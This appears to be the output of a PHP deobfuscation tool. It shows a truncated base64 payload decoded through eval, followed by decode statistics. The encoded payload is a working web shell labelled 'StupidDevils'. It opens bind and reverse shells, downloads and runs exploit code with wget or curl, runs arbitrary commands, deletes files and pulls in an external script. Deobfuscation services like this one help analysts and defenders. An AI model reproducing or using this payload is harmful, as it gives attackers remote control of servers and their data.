XNzPSJpbnB1dHpidXQiIHZhbHVlPSJHbyIgc3R5bGU9IndpZHRoOjI0NnB4OyI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO21hcmdpbjoycHg7Ij48P3BocCBlY2hvICRtc2c7ID8+PC9kaXY+DQo8P3BocCB9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ25ldHNwbG9pdCcpKXsgDQoNCi8vIGJpbmQgY29ubmVjdCB3aXRoIGMNCmlmIChpc3NldCgkX1BPU1RbJ2JpbmQnXSkgJiYgIWVtcHR5KCRfUE9TVFsncG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ0MnKSkgew0KCSRwb3J0ID0gdHJpbSgkX1BPU1RbJ3BvcnQnXSk7DQoJJHBhc3N3cmQgPSB0cmltKCRfUE9TVFsnYmluZF9wYXNzJ10pOw0KCXR1bGlzKCJiZGMuYyIsJHBvcnRfYmluZF9iZF9jKTsNCiAJZXhlKCJnY2MgLW8gYmRjIGJkYy5jIik7DQogCWV4ZSgiY2htb2QgNzc3IGJkYyIpOw0KIAlAdW5saW5rKCJiZGMuYyIpOw0KIAlleGUoIi4vYmRjICIuJHBvcnQuIiAiLiRwYXNzd3JkLiIgJiIpOw0KIAkkc2NhbiA9IGV4ZSgicHMgYXV4Iik7IA0KCWlmKGVyZWdpKCIuL2JkYyAkcG9yIiwkc2NhbikpeyAkbXNnID0gIjxwPlByb2Nlc3MgZm91bmQgcnVubmluZywgYmFja2Rvb3Igc2V0dXAgc3VjY2Vzc2Z1bGx5LjwvcD4iOyB9DQoJZWxzZSB7ICRtc2cgPSAgIjxwPlByb2Nlc3Mgbm90IGZvdW5kIHJ1bm5pbmcsIGJhY2tkb29yIG5vdCBzZXR1cCBzdWNjZXNzZnVsbHkuPC9wPiI7IH0NCn0NCi8vIGJpbmQgY29ubmVjdCB3aXRoIHBlcmwNCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydiaW5kJ10pICYmICFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnYmluZF9wYXNzJ10pICYmICgkX1BPU1RbJ3VzZSddID09ICdQZXJsJykpIHsNCgkkcG9ydCA9IHRyaW0oJF9QT1NUWydwb3J0J10pOw0KCSRwYXNzd3JkID0gdHJpbSgkX1BPU1RbJ2JpbmRfcGFzcyddKTsNCgl0dWxpcygiYmRwIiwkcG9ydF9iaW5kX2JkX3BsKTsNCglleGUoImNobW9kIDc3NyBiZHAiKTsNCiAJJHAyPXdoaWNoKCJwZXJsIik7DQogCWV4ZSgkcDIuIiBiZHAgIi4kcG9ydC4iICYiKTsNCiAJJHNjYW4gPSBleGUoInBzIGF1eCIpOyANCglpZihlcmVnaSgiJHAyIGJkcCAkcG9ydCIsJHNjYW4pKXsgJG1zZyA9ICI8cD5Qcm9jZXNzIGZvdW5kIHJ1bm5pbmcsIGJhY2tkb29yIHNldHVwIHN1Y2Nlc3NmdWxseS48L3A+IjsgfQ0KCWVsc2UgeyAkbXNnID0gIjxwPlByb2Nlc3Mgbm90IGZvdW5kIHJ1bm5pbmcsIGJhY2tkb29yIG5vdCBzZXR1cCBzdWNjZXNzZnVsbHkuPC9wPiI7IH0NCn0NCi8vIGJhY2sgY29ubmVjdCB3aXRoIGMNCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydiYWNrY29ubiddKSAmJiAhZW1wdHkoJF9QT1NUWydiYWNrcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydpcCddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnQycpKSB7DQoJJGlwID0gdHJpbSgkX1BPU1RbJ2lwJ10pOw0KCSRwb3J0ID0gdHJpbSgkX1BPU1RbJ2JhY2twb3J0J10pOw0KCXR1bGlzKCJiY2MuYyIsJGJhY2tfY29ubmVjdF9jKTsNCiAJZXhlKCJnY2MgLW8gYmNjIGJjYy5jIik7DQogCWV4ZSgiY2htb2QgNzc3IGJjYyIpOw0KIAlAdW5saW5rKCJiY2MuYyIpOw0KCWV4ZSgiLi9iY2MgIi4kaXAuIiAiLiRwb3J0LiIgJiIpOw0KCSRtc2cgPSAiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiLiRpcC4iIHBvcnQgIi4kcG9ydC4iIC4uLiI7DQp9DQovLyBiYWNrIGNvbm5lY3Qgd2l0aCBwZXJsDQplbHNlaWYgKGlzc2V0KCRfUE9TVFsnYmFja2Nvbm4nXSkgJiYgIWVtcHR5KCRfUE9TVFsnYmFja3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnaXAnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ1BlcmwnKSkgew0KCSRpcCA9IHRyaW0oJF9QT1NUWydpcCddKTsNCgkkcG9ydCA9IHRyaW0oJF9QT1NUWydiYWNrcG9ydCddKTsNCgl0dWxpcygiYmNwIiwkYmFja19jb25uZWN0KTsNCglleGUoImNobW9kICt4IGJjcCIpOw0KCSRwMj13aGljaCgicGVybCIpOw0KIAlleGUoJHAyLiIgYmNwICIuJGlwLiIgIi4kcG9ydC4iICYiKTsNCiAJJG1zZyA9ICJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICIuJGlwLiIgcG9ydCAiLiRwb3J0LiIgLi4uIjsNCn0NCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydleHBjb21waWxlJ10pICYmICFlbXB0eSgkX1BPU1RbJ3d1cmwnXSkgJiYgIWVtcHR5KCRfUE9TVFsnd2NtZCddKSkNCnsNCgkkcGlsaWhhbiA9IHRyaW0oJF9QT1NUWydwaWxpaGFuJ10pOw0KCSR3dXJsID0gdHJpbSgkX1BPU1RbJ3d1cmwnXSk7DQoJJG5hbWFmaWxlID0gZG93bmxvYWQoJHBpbGloYW4sJHd1cmwpOw0KCWlmKGlzX2ZpbGUoJG5hbWFmaWxlKSkgew0KCQ0KCSRtc2cgPSBleGUoJHdjbWQpOw0KCX0NCgllbHNlICRtc2cgPSAiZXJyb3I6IGZpbGUgbm90IGZvdW5kICRuYW1hZmlsZSI7DQp9DQoNCj8+DQo8dGFibGUgY2xhc3M9InRhYm5ldCI+DQo8dHI+PHRoPlBvcnQgQmluZGluZzwvdGg+PHRoPkNvbm5lY3QgQmFjazwvdGg+PHRoPkxvYWQgYW5kIEV4cGxvaXQ8L3RoPjwvdHI+DQo8dHI+DQo8dGQ+DQo8dGFibGU+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD1uZXRzcGxvaXQiPg0KPHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnQgPz4iPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iYmluZF9wYXNzIiBzaXplPSIyNiIgdmFsdWU9Ijw/cGhwIGVjaG8gJGJpbmRwb3J0X3Bhc3M7ID8+Ij48L3RkPjwvdHI+DQo8dHI+PHRkPlVzZTwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmp1c3RpZnkiPjxwPjxzZWxlY3QgY2xhc3M9ImlucHV0eiIgc2l6ZT0iMSIgbmFtZT0idXNlIj48b3B0aW9uIHZhbHVlPSJQZXJsIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iQyI+Qzwvb3B0aW9uPjwvc2VsZWN0Pg0KPGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0iYmluZCIgdmFsdWU9IkJpbmQiIHN0eWxlPSJ3aWR0aDoxMjBweCI+PC90ZD48L3RyPjwvZm9ybT4NCjwvdGFibGU+DQo8L3RkPg0KPHRkPg0KPHRhYmxlPg0KPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9bmV0c3Bsb2l0Ij4NCjx0cj48dGQ+SVA8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iaXAiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAoKGdldGVudignUkVNT1RFX0FERFInKSkgPyAoZ2V0ZW52KCdSRU1PVEVfQUREUicpKSA6ICgiMTI3LjAuMC4xIikpOyA/PiI+PC90ZD48L3RyPg0KPHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9ImJhY2twb3J0IiBzaXplPSIyNiIgdmFsdWU9Ijw/cGhwIGVjaG8gJGJpbmRwb3J0OyA/PiI+PC90ZD48L3RyPg0KPHRyPjx0ZD5Vc2U8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpqdXN0aWZ5Ij48cD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InVzZSI+PG9wdGlvbiB2YWx1ZT0iUGVybCI+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IkMiPkM8L29wdGlvbj48L3NlbGVjdD4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJhY2tjb25uIiB2YWx1ZT0iQ29ubmVjdCIgY2xhc3M9ImlucHV0emJ1dCIgc3R5bGU9IndpZHRoOjEyMHB4Ij48L3RkPjwvdHI+PC9mb3JtPg0KPC90YWJsZT4NCjwvdGQ+DQo8dGQ+DQo8dGFibGU+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD1uZXRzcGxvaXQiPg0KPHRyPjx0ZD51cmw8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0id3VybCIgc3R5bGU9IndpZHRoOjI1MHB4OyIgdmFsdWU9Ind3dy5zb21lLWNvZGUvZXhwbG9pdHMuYyI+PC90ZD48L3RyPg0KPHRyPjx0ZD5jbWQ8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0id2NtZCIgc3R5bGU9IndpZHRoOjI1MHB4OyIgdmFsdWU9ImdjYyAtbyBleHBsb2l0cyBleHBsb2l0cy5jO2NobW9kICt4IGV4cGxvaXRzOy4vZXhwbG9pdHM7Ij48L3RkPg0KPC90cj4NCjx0cj48dGQ+PHNlbGVjdCBzaXplPSIxIiBjbGFzcz0iaW5wdXR6IiBuYW1lPSJwaWxpaGFuIj4NCjxvcHRpb24gdmFsdWU9Ind3Z2V0Ij53Z2V0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJ3bHlueCI+bHlueDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0id2ZyZWFkIj5mcmVhZDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0id2ZldGNoIj5mZXRjaDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0id2xpbmtzIj5saW5rczwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0id2dldCI+R0VUPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Y3VybDwvb3B0aW9uPg0KPC9zZWxlY3Q+PC90ZD48dGQgY29sc3Bhbj0iMiI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iZXhwY29tcGlsZSIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9IkdvIiBzdHlsZT0id2lkdGg6MjQ2cHg7Ij48L3RkPjwvdHI+PC9mb3JtPg0KPC90YWJsZT4NCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO21hcmdpbjoycHg7Ij48P3BocCBlY2hvICRtc2c7ID8+PC9kaXY+DQo8P3BocCB9IGVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc2hlbGwnKSl7ICA/Pg0KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PXNoZWxsIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGNsYXNzPSJjbWRib3giPg0KPHRyPjx0ZCBjb2xzcGFuPSIyIj4NCjx0ZXh0YXJlYSBjbGFzcz0ib3V0cHV0IiByZWFkb25seT4NCjw/cGhwDQppZihpc3NldCgkX1BPU1RbJ3N1Ym1pdGNtZCddKSkgew0KCWVjaG8gQGV4ZSgkX1BPU1RbJ2NtZCddKTsNCn0NCj8+DQo8L3RleHRhcmVhPg0KPHRyPjx0ZCBjb2xzcGFuPSIyIj48P3BocCBlY2hvICRwcm9tcHQ7ID8+PGlucHV0IG9uTW91c2VPdmVyPSJ0aGlzLmZvY3VzKCk7IiBpZD0iY21kIiBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHN0eWxlPSJ3aWR0aDo2MCU7IiB2YWx1ZT0iIiAvPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyAhIiBuYW1lPSJzdWJtaXRjbWQiIHN0eWxlPSJ3aWR0aDoxMiU7IiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQo8P3BocCB9IA0KZWxzZSB7IA0KaWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSAmJiAoJF9HRVRbJ2RlbGV0ZSddICE9ICIiKSl7DQoJJGZpbGUgPSAkX0dFVFsnZGVsZXRlJ107DQoJQHVubGluaygkZmlsZSk7DQp9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ2ZkZWxldGUnXSkgJiYgKCRfR0VUWydmZGVsZXRlJ10gIT0gIiIpKXsNCglAcm1kaXIocnRyaW0oJF9HRVRbJ2ZkZWxldGUnXSxESVJFQ1RPUllfU0VQQVJBVE9SKSk7DQp9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ21rZGlyJ10pICYmICgkX0dFVFsnbWtkaXInXSAhPSAiIikpew0KCSRwYXRoID0gJHB3ZC4kX0dFVFsnbWtkaXInXTsNCglAbWtkaXIoJHBhdGgpOw0KfQ0KCSRidWZmID0gc2hvd2RpcigkcHdkLCRwcm9tcHQpOw0KCWVjaG8gJGJ1ZmY7DQp9DQo/PjxjZW50ZXI+PGJyPjxicj48ZGl2IGNsYXNzPSJpbmZvIj5TaGVsbCAxbjczY3Rpb24gcjNjMGRlZCBieSA8c3BhbiBjbGFzcz0iZ2F5YSI+PGEgaHJlZj0iaHR0cDovL2ZhY2Vib29rLmNvbS9naWxhbmcxMDUiPlN0dXBpZERldmlsczwvYT48L3NwYW4+PC9kaXY+IA0KPGRpdiBjbGFzcz0iamF5YSI+ICAmY29weTsgMjAxMyBTdHVwaWREZXZpbHM8L2Rpdj48L2NlbnRlcj48YnI+PGJyPg0KPHNjcmlwdCBzcmM9Imh0dHA6Ly9iYWdzZnJlYWt6LmNvbS9qcy9kaXNpbWcuanMiPg0KPC9zY3JpcHQ+DQo8L2Rpdj4NCjwvYm9keT4NCjwvaHRtbD4=")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 d9a37ddce2f9aa95d883653f6e22fac9
Eval Count 1
Decode Time 2014 ms